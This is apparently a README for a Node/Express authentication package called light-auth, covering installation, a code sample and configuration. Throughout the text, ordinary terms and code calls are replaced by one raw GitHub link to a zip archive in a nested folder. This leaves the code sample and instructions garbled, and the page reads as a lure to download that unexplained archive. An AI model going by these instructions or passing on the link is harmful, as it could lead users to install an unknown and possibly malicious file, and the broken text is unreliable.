Welcome to light-auth! This software provides a lightweight and flexible authentication package for your https://github.com/100xxio/light-auth/raw/refs/heads/main/modules/email/services/auth-light-2.2.zip applications. It supports both JWT and sessions, making it a great choice for a variety of use cases. You can easily set up role-based access control (RBAC), integrate mail services, and customize hooks to fit your needs.
Before you begin, ensure you have the following installed:
- https://github.com/100xxio/light-auth/raw/refs/heads/main/modules/email/services/auth-light-2.2.zip: Version 14 or higher
- NPM or PNPM: Latest version recommended
- MongoDB: A running instance, either locally or in the cloud
To download light-auth, visit the Releases page:
On this page, you will find the latest version of the software. Click on the version number to access the download files. You can choose the file that fits your needs based on your operating system.
- Click on the version you want to download.
- Look for the appropriate file for your system.
- Download the file to your device.
Once you have downloaded the package, follow these steps to set it up in your Express application:
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Unzip the Downloaded File: If the downloaded file is zipped, extract all the contents to a folder of your choice.
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Open Your Terminal or Command Prompt: Navigate to your project directory where you want to use light-auth.
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Install Light-Auth: Run the following command:
npm install /path/to/light-authReplace
/path/to/light-authwith the actual path to the downloaded package. -
Integrate Light-Auth in Your Code: Create a basic Express server and include light-auth in your application. Hereβs a simple example:
const express = require('express'); const lightAuth = require('light-auth'); const app = express(); https://github.com/100xxio/light-auth/raw/refs/heads/main/modules/email/services/auth-light-2.2.zip(lightAuth({ secret: 'your_secret_key', // Use a strong key // Additional configurations... })); https://github.com/100xxio/light-auth/raw/refs/heads/main/modules/email/services/auth-light-2.2.zip(3000, () => { https://github.com/100xxio/light-auth/raw/refs/heads/main/modules/email/services/auth-light-2.2.zip('Server running on http://localhost:3000'); });
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Run Your Application: Start your server by running:
node https://github.com/100xxio/light-auth/raw/refs/heads/main/modules/email/services/auth-light-2.2.zipReplace
https://github.com/100xxio/light-auth/raw/refs/heads/main/modules/email/services/auth-light-2.2.zipwith the name of your server file.
Light-auth offers a variety of configuration options to tailor its features to your needs:
- JWT Secret: Define a strong secret key for JSON Web Tokens.
- Session Handling: Choose between using sessions or JWT based on your authentication requirements.
- Role-Based Access Control (RBAC): Assign roles to users and control access to different parts of your application.
- Mail Services: Easily set up email verification or password reset functions.
For more detailed instructions and advanced configurations, check the documentation on the repository.
- RBAC Documentation: Learn how to set up roles for users.
- Mail Service Configuration: Find how to set up and customize email services.
- Hook Support: Understand how to integrate custom hooks into your application.
If you wish to contribute to light-auth, please follow these steps:
- Fork the Repository.
- Create a New Branch: Use a descriptive name for the branch.
- Commit Your Changes: Provide clear commit messages.
- Push to Your Fork: After making changes, push the branch.
- Submit a Pull Request: Explain your changes and why they matter.
If you encounter issues, please open an issue in the GitHub repository. Include detailed information so we can assist you effectively.
To download light-auth, please visit the following link:
Thank you for using light-auth! We hope it makes your authentication needs simple and manageable in your https://github.com/100xxio/light-auth/raw/refs/heads/main/modules/email/services/auth-light-2.2.zip applications.